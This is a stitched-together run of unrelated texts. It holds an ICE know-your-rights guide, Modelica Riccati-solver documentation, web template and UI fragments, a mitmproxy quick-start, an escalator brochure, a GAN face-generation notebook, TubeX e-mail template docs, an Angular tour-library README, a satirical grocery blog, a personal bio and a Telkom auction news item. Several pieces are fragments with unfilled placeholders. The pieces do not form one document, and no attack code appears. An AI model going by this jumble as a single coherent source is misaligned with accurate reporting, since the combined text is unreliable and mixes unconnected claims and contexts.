- If officers are at your door, keep the door closed at ALL times and ask if they are Immigration agents, or from ICE.
- Ask the agents what they are there for.
- If the agents don’t speak your language, ask for an interpreter.
- If the agents want to enter, ask them if they have a warrant signed by a judge.
- If ICE agents do not have a warrant signed by a Judge, you may refuse to open the door. A warrant of removal from immigration authorities is not enough.
- If they say they have a warrant, ask them to slip the warrant under the door.
- Look at the top and at the signature line to see if it was issued by a court and signed by a judge. Only a court/judge warrant is enough for entry into your premises.
- If the valid warrant was issued by a court and authorizes a search of your house, you should let the officer in the house.
- If the valid warrant looks like it was issued by Immigration and Customs Enforcement (ICE) but not a court, you have the right not to let the officer enter your house.
Do not open if the document looks like this:
- If the warrant authorizes your arrest but not a search of your house, you may want to go outside to meet the officers but not let them in the house. * This is especially important if you live with other people who might have immigration problems, because once you allow the officer into your house, he can ask questions of anyone else who is there, too.
- If agents force their way in anyway, do not attempt to resist. If you wish to exercise your rights, state: “I do not consent to your entry or to your search of these premises. I am exercising my right to remain silent. I wish to speak with a lawyer as soon as possible.”
- Do not lie or show false documents. Do not sign any papers without speaking to a lawyer.


X = Matrices.Utilities.continuousRiccatiIterative(A, B, R, Q, X0); (X, r) = Matrices.Utilities.continuousRiccatiIterative(A, B, R, Q, X0, maxSteps, eps);
This function provides a Newton-like method for solving
continuous algebraic Riccati equations (care). It utilizes Exact
Line Search to improve the sometimes erratic convergence of
Newton's method. Exact line search in this case means, that at each
iteration i
a Newton step
delta_i
X_i+1 = X_i + delta_i
is taken in the direction to minimize the Frobenius norm of the residual
r = || X_i+1*A +A'*X_i+1 - X_i+1*G*X_i+1 + Q ||.
with
-1 G = B*R *B'
The inputs "maxSteps" and "eps" specify the termination of the iteration. The iteration is terminated if either maxSteps iteration steps have been performed or the relative change delta_i/X_i became smaller than eps.
With an appropriate initial value X0 a
sufficiently accurate solution might be reach within a few
iteration steps. Although a Lyapunov equation of order
n
(n is the order of the Riccati equation) is to be
solved at each iteration step, the algorithm might be faster than a
direct method like Matrices.continuousRiccati,
since direct methods have to solve the 2*n-order Hamiltonian system
equation.
The algorithm is taken from [1] and [2].
[1] Benner, P., Byers, R. An Exact Line Search Method for Solving Generalized Continuous-Time Algebraic Riccati Equations IEEE Transactions On Automatic Control, Vol. 43, No. 1, pp. 101-107, 1998. [2] Datta, B.N. Numerical Methods for Linear Control Systems Elsevier Academic Press, 2004.
A=[0.0, 1.0, 0.0, 0.0; 0.0, -1.890, 3.900e-01, -5.530; 0.0, -3.400e-02, -2.980, 2.430; 3.400e-02, -1.100e-03, -9.900e-01, -2.100e-01]; B=[ 0.0, 0.0; 3.600e-01, -1.60; -9.500e-01, -3.200e-02; 3.000e-02, 0.0]; R=[1, 0; 0, 1]; Q=[2.313, 2.727, 6.880e-01, 2.300e-02; 2.727, 4.271, 1.148, 3.230e-01; 6.880e-01, 1.148, 3.130e-01, 1.020e-01; 2.300e-02, 3.230e-01, 1.020e-01, 8.300e-02]; X0=identity(4); (X,r) = Matrices.Utilities.continuousRiccatiIterative(A, B, R, Q, X0); // X = [1.3239, 0.9015, 0.5466, -1.7672; 0.9015, 0.9607, 0.4334, -1.1989; 0.5466, 0.4334, 0.4605, -1.3633; -1.7672, -1.1989, -1.3633, 4.4612] // r = 2.48809423389491E-015 (,r) = Matrices.Utilities.continuousRiccatiIterative(A, B, R, Q, X0,4); // r = 0.0004;
function continuousRiccatiIterative extends Modelica.Icons.Function; import Modelica.Math.Matrices; input Real A[:, size(A, 1)] "Matrix A of Riccati equation X*A + A'*X -X*G*X +Q = 0"; input Real B[size(A, 1), :] "Matrix B in G = B*inv(R)*B'"; input Real R[size(B, 2), size(B, 2)] = identity(size(B, 2)) "Matrix R in G = B*inv(R)*B'"; input Real Q[size(A, 1), size(A, 2)] = identity(size(A, 1)) "Matrix Q of Riccati equation X*A + A'*X -X*G*X +Q = 0"; input Real X0[size(A, 1), size(A, 2)] = identity(size(A, 1)) "Initial approximate solution for X*A + A'*X -X*G*X +Q = 0"; input Integer maxSteps = 10 "Maximal number of iteration steps"; input Real eps = Matrices.frobeniusNorm(A) * 1e-9 "Tolerance for stop criterion"; output Real X[size(X0, 1), size(X0, 2)] "Solution X of Riccati equation X*A + A'*X -X*G*X +Q = 0"; output Real r "Norm of X*A + A'*X - X*G*X + Q, zero for exact solution"; end continuousRiccatiIterative;


{% include meta.html %} {% if page.title %}
{{ page.title }} – {{ site.title }}
{% else %}
{{ site.title }} – {{ site.description }}
{% endif %} {% include favicons.html %} {% include opengraph.html %} {% include twitter.html %} {% include cookieconsent.html %} {% include google_analytics.html %} {% include styles.html %} {% include navbar.html %}
For full functionality of this site it is necessary to enable JavaScript. Here are the
instructions how to enable JavaScript in your web browser
.
{{ content }}
{% include footer.html %} {% include footer-scripts.html %}


CERN Hadron Notification Pusher
Yeah, science bitch!
We have the speed of light just to send notifications for you!
Title
Content
Time (seconds)
Select an icon
Launch!
Abort! ABORT!


URL to be hit is : {{movieDBURL}}
// Include the logic here to display the movies.
The Title
{{baseTMDBURL}}
OverView
ReleaseDate:Some Release Date
RatedR:Fetch the movie


este.ui.Component provides event delegation with simple CSS selector filter for these events:
Box with inline element, note how inner mouseovers/mouseouts are ignored. It's real mouseenter/mouseleave event delegation.


Quick start
Set up your HTTP proxy settings.
Default Configuration Settings:
Host: localhost/your-ip (listens on all interfaces)
Port: 8080
Set up SSL interception if required
Follow the steps from the mitmproxy docs. All certificates are stored in the "~/.mitmproxy" directory in your user folder.
TODO: Insert Cert download option here.


Fujitec combines Japanese engineering, simplistic design and a bolstered safety platform to deliver the Autowalk GS8100 series that offers convenience and efficiency. In an effort to provide safety, stability and performance, Fujitec works to further provide solutions with cutting-edge technology and superior quality to improve value within the moving walk market. Available for horizontal and incline applications, the GS8100 affords seamless transportation assistance to improve traffic flow in areas that can become problematic or cumbersome.
Modeled after the technology in our GS8000 escalator series, the following specs provide a brief overview of the available configurations to meet your specific transportation needs.
DESCRIPTION: Transparent, tempered glass interior panel construction reveals a clean and refined look.
DESCRIPTION: Transparent, tempered glass interior panel construction. The Type F incorporates an external stainless steel enclosure underneath the handrail which is attached to the exterior of the frame. This protects internal components from exposure to external conditions such as rain, dust, sand, snow, ice, etc. This model type can incorporate under-rail lighting for safety and aesthetics as an option.
DESCRIPTION: Hairline-finished, stainless steel interior panel construction ideally suited for public transit and commercial facility applications. The Type P also incorporates an external stainless steel enclosure underneath the handrail to protect internal components from external conditions which can also support optional under-rail lighting for safety and aesthetics.


In this project, you'll use generative adversarial networks to generate new images of faces.
You'll be using two datasets in this project:
Since the celebA dataset is complex and you're doing GANs in a project for the first time, we want you to test your neural network on MNIST before CelebA. Running the GANs on MNIST will allow you to see how well your model trains sooner.
If you're using FloydHub, set data_dir
to "/input" and use the FloydHub data ID "R5KrjnANiKVhLWAkpXhNBe".
data_dir = './data'
# FloydHub - Use with data ID "R5KrjnANiKVhLWAkpXhNBe"
#data_dir = '/input'
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
import helper
helper.download_extract('mnist', data_dir)
helper.download_extract('celeba', data_dir)
show_n_images = 25
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
%matplotlib inline
import os
from glob import glob
from matplotlib import pyplot
mnist_images = helper.get_batch(glob(os.path.join(data_dir, 'mnist/*.jpg'))[:show_n_images], 28, 28, 'L')
pyplot.imshow(helper.images_square_grid(mnist_images, 'L'), cmap='gray')
The CelebFaces Attributes Dataset (CelebA) dataset contains over 200,000 celebrity images with annotations. Since you're going to be generating faces, you won't need the annotations. You can view the first number of examples by changing show_n_images
.
show_n_images = 25
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
mnist_images = helper.get_batch(glob(os.path.join(data_dir, 'img_align_celeba/*.jpg'))[:show_n_images], 28, 28, 'RGB')
pyplot.imshow(helper.images_square_grid(mnist_images, 'RGB'))
Since the project's main focus is on building the GANs, we'll preprocess the data for you. The values of the MNIST and CelebA dataset will be in the range of -0.5 to 0.5 of 28x28 dimensional images. The CelebA images will be cropped to remove parts of the image that don't include a face, then resized down to 28x28.

You'll build the components necessary to build a GANs by implementing the following functions below:
model_inputs
discriminator
generator
model_loss
model_opt
train
This will check to make sure you have the correct version of TensorFlow and access to a GPU
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
from distutils.version import LooseVersion
import warnings
import tensorflow as tf
# Check TensorFlow Version
assert LooseVersion(tf.__version__) >= LooseVersion('1.0'), 'Please use TensorFlow version 1.0 or newer. You are using {}'.format(tf.__version__)
print('TensorFlow Version: {}'.format(tf.__version__))
# Check for a GPU
if not tf.test.gpu_device_name():
warnings.warn('No GPU found. Please use a GPU to train your neural network.')
else:
print('Default GPU Device: {}'.format(tf.test.gpu_device_name()))
Implement the model_inputs
function to create TF Placeholders for the Neural Network. It should create the following placeholders:
image_width
, image_height
, and image_channels
.z_dim
.Return the placeholders in the following the tuple (tensor of real input images, tensor of z data)
import problem_unittests as tests
def model_inputs(image_width, image_height, image_channels, z_dim):
"""
Create the model inputs
:param image_width: The input image width
:param image_height: The input image height
:param image_channels: The number of image channels
:param z_dim: The dimension of Z
:return: Tuple of (tensor of real input images, tensor of z data, learning rate)
"""
# TODO: Implement Function
input_r = tf.placeholder(tf.float32, (None, image_width, image_height, image_channels), name="input_r")
input_z = tf.placeholder(tf.float32, (None, z_dim), name="input_z")
learn_rate = tf.placeholder(tf.float32, (None), name="learn_rate")
return input_r, input_z, learn_rate
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_model_inputs(model_inputs)
Implement discriminator
to create a discriminator neural network that discriminates on images
. This function should be able to reuse the variabes in the neural network. Use tf.variable_scope
with a scope name of "discriminator" to allow the variables to be reused. The function should return a tuple of (tensor output of the generator, tensor logits of the generator).
def conv2d(inputs, depth, kernel_size, strides, padding):
return tf.layers.conv2d(
inputs, depth, kernel_size, strides, padding,
activation=None,
kernel_initializer=tf.contrib.layers.xavier_initializer(uniform=False))
def discriminator(images, reuse=False, alpha=0.2):
"""
Create the discriminator network
:param image: Tensor of input image(s)
:param reuse: Boolean if the weights should be reused
:return: Tuple of (tensor output of the discriminator, tensor logits of the discriminator)
"""
# TODO: Implement Function
with tf.variable_scope("discriminator", reuse=reuse):
#28x28x3
conv_1 = conv2d(images, 64, 5, 2, "same")
relu_1 = tf.maximum(alpha*conv_1, conv_1)
#14x14x64
conv_2 = conv2d(relu_1, 128, 5, 2, "same")
norm_2 = tf.layers.batch_normalization(conv_2, training=True)
relu_2 = tf.maximum(alpha*norm_2, norm_2)
#7x7x128
conv_3 = conv2d(relu_2, 256, 5, 2, "same")
norm_3 = tf.layers.batch_normalization(conv_3, training=True)
relu_3 = tf.maximum(alpha*norm_3, norm_3)
#4x4x256
flat_4 = tf.reshape(relu_3, (-1, 4*4*256))
logits = tf.layers.dense(flat_4, 1, activation=None)
output = tf.nn.sigmoid(logits)
return output, logits
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_discriminator(discriminator, tf)
Implement generator
to generate an image using z
. This function should be able to reuse the variabes in the neural network. Use tf.variable_scope
with a scope name of "generator" to allow the variables to be reused. The function should return the generated 28 x 28 x out_channel_dim
images.
def conv2d_transpose(inputs, depth, kernel_size, strides, padding):
return tf.layers.conv2d_transpose(
inputs, depth, kernel_size, strides, padding,
activation=None,
kernel_initializer=tf.contrib.layers.xavier_initializer(uniform=False))
def generator(z, out_channel_dim, is_train=True, alpha=0.2):
"""
Create the generator network
:param z: Input z
:param out_channel_dim: The number of channels in the output image
:param is_train: Boolean if generator is being used for training
:return: The tensor output of the generator
"""
# TODO: Implement Function
with tf.variable_scope("generator", reuse=not is_train):
full_1 = tf.layers.dense(z, 3*3*512, activation=None)
conv_1 = tf.reshape(full_1, (-1, 3, 3, 512))
norm_1 = tf.layers.batch_normalization(conv_1, training=is_train)
relu_1 = tf.maximum(alpha*norm_1, norm_1)
drop_1 = tf.layers.dropout(relu_1, 0.5, training=is_train)
#3x3x512
conv_2 = conv2d_transpose(drop_1, 256, 5, 2, "same")
norm_2 = tf.layers.batch_normalization(conv_2, training=is_train)
relu_2 = tf.maximum(alpha*norm_2, norm_2)
drop_2 = tf.layers.dropout(relu_2, 0.5, training=is_train)
#6x6x256
conv_3 = conv2d_transpose(drop_2, 128, 5, 2, "same")
norm_3 = tf.layers.batch_normalization(conv_3, training=is_train)
relu_3 = tf.maximum(alpha*norm_3, norm_3)
drop_3 = tf.layers.dropout(relu_3, 0.5, training=is_train)
#12x12x128
logits = conv2d_transpose(drop_3, out_channel_dim, 6, 2, "valid")
#28x28x64
output = tf.tanh(logits)
return output
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_generator(generator, tf)
Implement model_loss
to build the GANs for training and calculate the loss. The function should return a tuple of (discriminator loss, generator loss). Use the following functions you implemented:
discriminator(images, reuse=False)
generator(z, out_channel_dim, is_train=True)
def model_loss(input_real, input_z, out_channel_dim, alpha=0.2):
"""
Get the loss for the discriminator and generator
:param input_real: Images from the real dataset
:param input_z: Z input
:param out_channel_dim: The number of channels in the output image
:return: A tuple of (discriminator loss, generator loss)
"""
# TODO: Implement Function
input_fake = generator(input_z, out_channel_dim, is_train=True, alpha=alpha)
_, d_logits_real = discriminator(input_real, reuse=False, alpha=alpha)
_, d_logits_fake = discriminator(input_fake, reuse=True, alpha=alpha)
g_loss = tf.reduce_mean(
tf.nn.sigmoid_cross_entropy_with_logits(
logits=d_logits_fake, labels=tf.ones_like(d_logits_fake)))
d_loss_real = tf.reduce_mean(
tf.nn.sigmoid_cross_entropy_with_logits(
logits=d_logits_real, labels=tf.ones_like(d_logits_real)*0.9))
d_loss_fake = tf.reduce_mean(
tf.nn.sigmoid_cross_entropy_with_logits(
logits=d_logits_fake, labels=tf.zeros_like(d_logits_fake)))
d_loss = d_loss_real + d_loss_fake
return d_loss, g_loss
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_model_loss(model_loss)
Implement model_opt
to create the optimization operations for the GANs. Use tf.trainable_variables
to get all the trainable variables. Filter the variables with names that are in the discriminator and generator scope names. The function should return a tuple of (discriminator training operation, generator training operation).
def model_opt(d_loss, g_loss, learning_rate, beta1):
"""
Get optimization operations
:param d_loss: Discriminator loss Tensor
:param g_loss: Generator loss Tensor
:param learning_rate: Learning Rate Placeholder
:param beta1: The exponential decay rate for the 1st moment in the optimizer
:return: A tuple of (discriminator training operation, generator training operation)
"""
# TODO: Implement Function
t_vars = tf.trainable_variables()
d_vars = [v for v in t_vars if v.name.startswith("discriminator")]
g_vars = [v for v in t_vars if v.name.startswith("generator")]
with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)):
d_train = tf.train.AdamOptimizer(learning_rate=learning_rate, beta1=beta1).minimize(d_loss, var_list=d_vars)
g_train = tf.train.AdamOptimizer(learning_rate=learning_rate, beta1=beta1).minimize(g_loss, var_list=g_vars)
return d_train, g_train
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_model_opt(model_opt, tf)
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
import numpy as np
def show_generator_output(sess, n_images, input_z, out_channel_dim, image_mode):
"""
Show example output for the generator
:param sess: TensorFlow session
:param n_images: Number of Images to display
:param input_z: Input Z Tensor
:param out_channel_dim: The number of channels in the output image
:param image_mode: The mode to use for images ("RGB" or "L")
"""
cmap = None if image_mode == 'RGB' else 'gray'
z_dim = input_z.get_shape().as_list()[-1]
example_z = np.random.uniform(-1, 1, size=[n_images, z_dim])
samples = sess.run(
generator(input_z, out_channel_dim, False),
feed_dict={input_z: example_z})
images_grid = helper.images_square_grid(samples, image_mode)
pyplot.imshow(images_grid, cmap=cmap)
pyplot.show()
Implement train
to build and train the GANs. Use the following functions you implemented:
model_inputs(image_width, image_height, image_channels, z_dim)
model_loss(input_real, input_z, out_channel_dim)
model_opt(d_loss, g_loss, learning_rate, beta1)
Use the show_generator_output
to show generator
output while you train. Running show_generator_output
for every batch will drastically increase training time and increase the size of the notebook. It's recommended to print the generator
output every 100 batches.
def train(epoch_count, batch_size, z_dim, learning_rate, beta1, get_batches, data_shape, data_image_mode):
"""
Train the GAN
:param epoch_count: Number of epochs
:param batch_size: Batch Size
:param z_dim: Z dimension
:param learning_rate: Learning Rate
:param beta1: The exponential decay rate for the 1st moment in the optimizer
:param get_batches: Function to get batches
:param data_shape: Shape of the data
:param data_image_mode: The image mode to use for images ("RGB" or "L")
"""
# TODO: Build Model
_, image_width, image_height, image_channels = data_shape
input_r, input_z, learn_rate = model_inputs(image_width, image_height, image_channels, z_dim)
d_loss, g_loss = model_loss(input_r, input_z, image_channels)
d_train, g_train = model_opt(d_loss, g_loss, learning_rate=learn_rate, beta1=beta1)
step = 0
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
step = 0
for epoch_i in range(epoch_count):
for batch_images in get_batches(batch_size):
# TODO: Train Model
step += 1
batch_z = np.random.uniform(-1, 1, size=(batch_size, z_dim))
_ = sess.run(
d_train, feed_dict={input_r: batch_images*2, input_z: batch_z, learn_rate: learning_rate})
_ = sess.run(
g_train, feed_dict={input_r: batch_images*2, input_z: batch_z, learn_rate: learning_rate})
if step % 10 == 0:
d_loss_train = d_loss.eval({input_r: batch_images*2, input_z: batch_z})
g_loss_train = g_loss.eval({input_z: batch_z})
print("Epoch: {}/{}...".format(epoch_i+1, epoch_count),
"Discriminator loss: {:.4f}...".format(d_loss_train),
"Generator loss: {:.4f}".format(g_loss_train))
if step % 100 == 0:
show_generator_output(sess, 16, input_z, image_channels, data_image_mode)
Test your GANs architecture on MNIST. After 2 epochs, the GANs should be able to generate images that look like handwritten digits. Make sure the loss of the generator is lower than the loss of the discriminator or close to 0.
batch_size = 128
z_dim = 100
learning_rate = 0.0002
beta1 = 0.5
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
epochs = 2
mnist_dataset = helper.Dataset('mnist', glob(os.path.join(data_dir, 'mnist/*.jpg')))
with tf.Graph().as_default():
train(epochs, batch_size, z_dim, learning_rate, beta1, mnist_dataset.get_batches,
mnist_dataset.shape, mnist_dataset.image_mode)
Run your GANs on CelebA. It will take around 20 minutes on the average GPU to run one epoch. You can run the whole epoch or stop when it starts to generate realistic faces.
batch_size = 128
z_dim = 100
learning_rate = 0.0002
beta1 = 0.5
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
epochs = 1
celeba_dataset = helper.Dataset('celeba', glob(os.path.join(data_dir, 'img_align_celeba/*.jpg')))
with tf.Graph().as_default():
train(epochs, batch_size, z_dim, learning_rate, beta1, celeba_dataset.get_batches,
celeba_dataset.shape, celeba_dataset.image_mode)
When submitting this project, make sure to run all the cells before saving the notebook. Save the notebook file as "dlnd_face_generation.ipynb" and save it as a HTML file under "File" -> "Download as". Include the "helper.py" and "problem_unittests.py" files in your submission.


E-mail Templates
Template Editing Interface
Editing the e-mail templates is done through the Templates > E-mail Templates function in the control panel. That interface will look
something like this:
Search and Replace
-
Available Templates - This section will list all of the available site templates that you can edit. When you first access
the page, only this section will be shown. Click on a template name to load that template for editing.
Message Subject - Enter the subject you would like to use for the e-mail message
Formatting Controls - Use the formatting controls to adjust how text will appear in the message body. There are controls to center, bold, adjust font, etc.
Message Body - Enter the body of the e-mail message
Toolbar Functions - Use the toolbar functions to peform the following actions:
Click this icon to bring up the Search and Replace dialog where you can perform a search and replace on many templates at once.
Click this icon to save the currently loaded template
Click this icon to reload the template code for the currently loaded template. This is useful when you do a search and replace which affects the current template you are editing.
Click this icon to access this documentation file
TubeX allows you to make quick changes to your templates in bulk with the Search and Replace function. When you access the Search and Replace function a dialog will appear that will allow you
to select the templates that you want to perform this action on, the code to search for in the template, and the replacement code to use. Multiple templates can be selected by holding down the shift or ctrl
keys on your keyboard as you click on templates in the selection list. Once you have selected the templates and entered the search and replacement code, press the Apply Changes button to start the task.
Once completed a notification message will be displayed letting you know how many replacements were made.
Greeting and Signature Templates
There are two special e-mail templates that you can edit which only allow configuring of the Message Body and do not have a Subject. Those are:
Templates & Their Variables
-
email-global-greeting.tpl - Use this template to control the text that is appended to the beginning of every e-mail message sent by the software.
This is a good place to put a simple greeting.
email-global-signature.tpl - Use this template to control the text that is appended to the end of every e-mail message sent by the software. This is a good place to put your signature, a privacy notice, a link to your site, etc.
All of the e-mail templates will have the following two variables set:
-
$g_config - The software settings (see Common Template Variables)
$g_user - The user account settings (see Common Template Variables)
email-user-added.tpl
-
This e-mail message will be sent to a user after they add their account, but only if you are not requiring e-mail confirmation or reviewing new accounts.
email-user-approved.tpl
-
This e-mail message will be sent to a user when their account is approved by an administrator (when the Review new user accounts software setting is enabled).
email-user-confirm.tpl
-
This e-mail message will be sent to a user after they signup, but only if the All new user accounts must be confirmed by e-mail software setting is enabled.
email-user-pending.tpl
-
This e-mail message will be sent to a user after they signup, but only if the Review new user accounts software setting is enabled.
email-user-rejected.tpl
-
This e-mail message will be sent to a user when their account is rejected by an administrator (when the Review new user accounts software setting is enabled).
The $g_user variable will contain one additional value if you selected a rejection reason:
$g_user.reject_reason - The Description value of the rejection reason
email-user-reset-confirm.tpl
-
This e-mail message will be sent to a user when they use the lost password form. The message will contain a link that the user must click on to confirm that they requested their
password be reset.
$g_code - The confirmation code that will need to be contained in the link the user clicks
email-user-reset.tpl
-
This e-mail message will be sent to a user when they have confirmed their lost password request by clicking on the confirmation link supplied in the e-mail message they received.
$g_password - The new password that has been generated for this user account


This is a product tour library built with Angular (2+). It's inspired by angular-ui-tour. and by Isaacplmann .
npm install bm-ng2-tour
BmTourModule
into your app module<tour-step-template></tour-step-template>
to your root app componentbmTourAnchor
directive throughout your app.

...

tourService.initialize(steps)
this.tourService.initialize([{{ '{' }} anchorId: 'some.anchor.id', content: 'Some content', title: 'First', }, {{ '{' }} anchorId: 'another.anchor.id', content: 'Other content', title: 'Second', }]);
tourService.start()
The TourService
controls the tour. Some key functions include:
Each step can have the following properties.
| Name | Type | Default | Description |
|---|---|---|---|
| stepId | string | "" | A unique identifier for the step |
| anchorId | string | required | The anchor to which the step will be attached |
| title | string | "" | The title of the tour step |
| content | string | "" | The content text of the tour step |
| route | string | UrlSegment[] | undefined | The route to which the tour should navigate before attempting to show this tour step. If undefined, no navigation is attempted. |
| nextStep | number | string | undefined | The step index or stepId of the next step. If undefined, the next step in the steps array is used. |
| prevStep | number | string | undefined | The step index or stepId of the previous step. If undefined, the previous step in the steps array is used. |
| placement | 'above' | 'below' | 'after' | 'before' | 'left' | 'right' | 'top' | Where the tour step should placed with respect to the anchor. 'before' and 'after' are synonyms for 'left' and 'right' respectively. When RTL support is implemented, 'before' and 'after' will swap directions when RTL mode is enabled. |
| preventScrolling | boolean | false | Tour steps automatically scroll to the middle of the screen, if they are off the screen when shown. Setting this value to true will disable the scroll behavior. |
You can set default values in the TourService.initialize
function.
this.tourService.initialize(steps, {{ '{' }} route: '', placement: 'left', preventScrolling: true, });
Any value explicitly defined in a step will override the default value.
Hotkeys are provided through the angular2-hotkeys library. Hotkeys are enabled when the tour starts and disabled when the tour ends.
The TourService
emits events that can be subscribed to like this:
this.tourService.initialize$.subscribe((steps: IStepOption[]) => {{ '{' }} console.log('tour configured with these steps:', steps); });
| Name | Payload | Emitted When |
|---|---|---|
| stepShow$ | IStepOption | A step is shown |
| stepHide$ | IStepOption | A step is hidden |
| initialize$ | IStepOption[] | The tour is configured with a set of steps |
| start$ | IStepOption | The tour begins |
| end$ | any | The tour ends |
| pause$ | IStepOption | The tour is paused |
| resume$ | IStepOption | The tour resumes |
| anchorRegister$ | string | An anchor is registered with the tour |
| anchorUnregister$ | string | An anchor is unregistered from the tour |


Token: F4-2081 Domain:Itnt-Plaza
ONLY FOR USE FACE-TO-FACE OR BEING SCANNED BY CORRECT SCANNERS NEVER SHOW IT TO ANY OTHER PEOPLE


Today, I braved the task of attempting to grocery shop…ALONE. I know what you’re thinking, “Oh my gosh Shelby, that sounds so daunting”, “What are you going to do with your not-kids the whole time?”, “What if you have a perfectly organized cart with no extra items that tiny hands grabbed on the way down the aisle?!?” I know, I know. I’ve thought these things to myself too. Taking my not-kids (literally no children) to the store with me seemed like a task that only Super Woman could do, but I was up for the challenge.  I’ve noticed going to the grocery store to get food for my family can be so frustrating and chaotic with the not-kids there by my not-side. So, I figured I would give you a glimpse into my food pursuit to show all you other not-moms out there that it’s ok, we’re all in this together and just doing the best we can.
Strolling (Not to be mistaken with Stroller)
I find myself with an unlimited amount of time in the grocery store. So annoying, right? Like, why can't I have a soccer practice to get to in 45 minutes so I'm in and out - boom - with just what I need. Nooooo, being a stay-at-home not mom requires minimal time contraints on almost everything, so I was free to stroll as much as I wanted through Sprouts. Fine.
I grabbed my cart and plopped Kate inside, securely, and adjusted it according to the warning about child (and not-child) safety. Buckle up, Kate!
I headed on over the meat counter to pick up lunches for the week. I didn't need much, being that I only have two mouths to feed, but found myself waiting in an extra long line. I had zero mini humans to entertain so I had all this obnoxious, quiet, free time to entertain myself the best way I knew how while I waited.
When life hands you lemons...
I was strolling through the store getting all the items checked off my list and found I was so fatigued by the minial amount of effort it took to complete my task. I couldn't take it any longer and took a much needed coffee break. Stay-at-home not moms require a standard amount of basic, overpriced Starbucks lattes to get through even the most mundane tasks.
Damnit Kate
After I felt like I could get through the rest of the trip without being too cranky, Kate started acting up. I swear, what is it with purses? It's like the minute you take them to the store they forget how to act. I was constantly pulling her strap off of things so they wouldn't knock over and spill everywhere. My patience was running thin.
Once I got out of the refrigerated section the rest of the trip was a breeze.  Who knew. The things we have to put up with, man. Anyway, I sped through the rest of my trip and my cart was perfectly organized. Like, not one thing was out of place or put in my cart that I didn't want. Weird, right? I dealt with it. It's one of those moments as a stay-at-home not mom where you just have to find your zen and remember everything is going to be ok.
My trip was so drama-free and I had way too much 'me time', not to mention no crying not-kids. But despite all that, right before I left, I stopped to soak in the scenery, just my not-kids and me, chillin' in Sprouts. It's the little things, ya know?
 Remember, we aren't perfect. Sometimes, we only spend $40 on groceries for the week. Strangers don't stare at us. But that's ok, because at the end of the day we cherish what's really important....
Sleep. Lots of long, uninterrupted sleep.


Hello Everybody,
This is M Aghead Albalkhe, 26 Years Old , form syria .
I came to Jordan In 2013 /1/1 and moved across cites like Amman and irbid , ajloun and almfraq but now Im living in Irbid for now .
a fresh graduate from Philadelphia University with a computer science degree.
I'm very proud to be a part of this class and take a chance to be one of those who practice CodeFellows Curriculum to be
a Full Stack Developer to deal with some personal ideas and converting it to startup as a personal business
Top Ten Things I Like To Do
- Listening To Music and There are Top Three Songs That I Like
- Enrolling In Online Courses and These Top Three Platform I Liked
- Volunteering Work
- Networking and relationships
- Watch Technical Movies
- Playing chess
- Playing Videos Games
- Eating Italian Shawrma and 'Shawrma Shamiea'
- Going Out with Friends
- Sleeping
Work Experience
- Communications Specialist
- Syrian Youth Assembly | (2019 - Present)
Cultivate strategic relationships to play an influential role in defining and achieving goals and priorities, and maximizing operational efficiencies. Set standards for integrated communication with partners, field, and corporate groups. Ensure proper communication lines are open and utilized by all parties. Provide exemplary service, ensuring the best customer/partner experience
- Facilitator
- kiron open higher education | (2018-2019)
The facilitator will be responsible for facilitating offline sessions in the study centers Support with translating terms and clarifying academic material for students Act as the focal point between Kiron students and Kiron staff members Tracking students progress while studying different MOOCS and conducting different projects Preparing and giving out different training sessions related to the academic content of MOOCS, depending on the required skills by students Assist the academic learning process of Kiron students as seen necessary by means of explaining different topics and answering students questions and addressing their inquiries Has the responsibility of filling out the digital attendance sheets Monitor and check the equipment in the classrooms and report back to Kiron staff in case of technical failure
Education History
- Code Fellows | Amman | Feb 2021
Cultivate strategic relationships to play an influential role in defining and achieving goals and priorities, and maximizing operational efficiencies. Set standards for integrated communication with partners, field, and corporate groups. Ensure proper communication lines are open and utilized by all parties. Provide exemplary service, ensuring the best customer/partner experience
- PHILADELPHIA UNIVERSITY | 2016- 2020
COMPUTER SCIENCE
- Luminus Technical University College(LTUC) | 2015- 2016
TEC DIPLOMA CIVIL ENGINEERIN | GPA: GRADE DISTINCTION


Why Telkom is selling 34 properties in a big auction
by Jamie McKaneTelkom recently announced through auction partner GoIndustry that it would hold an auction for 34 properties.
GoIndustry said the 34 lots include commercial and industrial buildings across the country, and the auction will be held online.
“For this particular sale, the properties are being sold via our specialised online auction platform, which is… suited to accommodate bidders located across the country,” said GoIndustry.
“This is an extensive portfolio, including single-storey buildings used for telecommunications in the past, as well as vacant land with development potential.”
The properties mostly feature industrial single-storey buildings, with a wide variety of zoning classifications, added the company.
Bidding for the lots will close on 26 November 2019 at 14:00, with viewing by appointment only.
Telkom property plans
We asked Telkom why its subsidiary, Gyro, had opted to auction off these properties.
“Part of Gyro Group’s strategic mandate is to unlock value and minimise property operating costs in the Telkom Group property portfolio,” Telkom said.
“Non-core Telkom owned properties and properties that cannot be repurposed for the business or has no property development potential will be disposed.”
When asked whether Telkom would sell more buildings going forward, the company said it would dispose of more properties if necessary.
“The property portfolio will be continuously evaluated and if future properties don’t meet the criteria, similar disposal processes will be followed,” the company said.
In its interim results for the six months ended 30 September 2019, Telkom said it was evaluating the feasibility of 156 properties.
“Non-core properties not suitable for operational use or development and redevelopment are in the process of disposal or repurposing,” Telkom said.
“Approximately 156 properties are being evaluated, of which 34 have been identified as ‘properties held for sale’. Some of the properties will be up for sale during the financial year.”
The company said that to reduce property occupancy expenditure for Telkom and its subsidiaries, it is consolidating office and warehouse space in major cities.
Photos of the properties listed for sale are posted below.


Contributing
We are open to, and grateful for, any contributions made by the community. When contributing to this repository, please first discuss the change you wish to make via issue, email, or any other method with the owners of this repository before making a change.
Code of Conduct
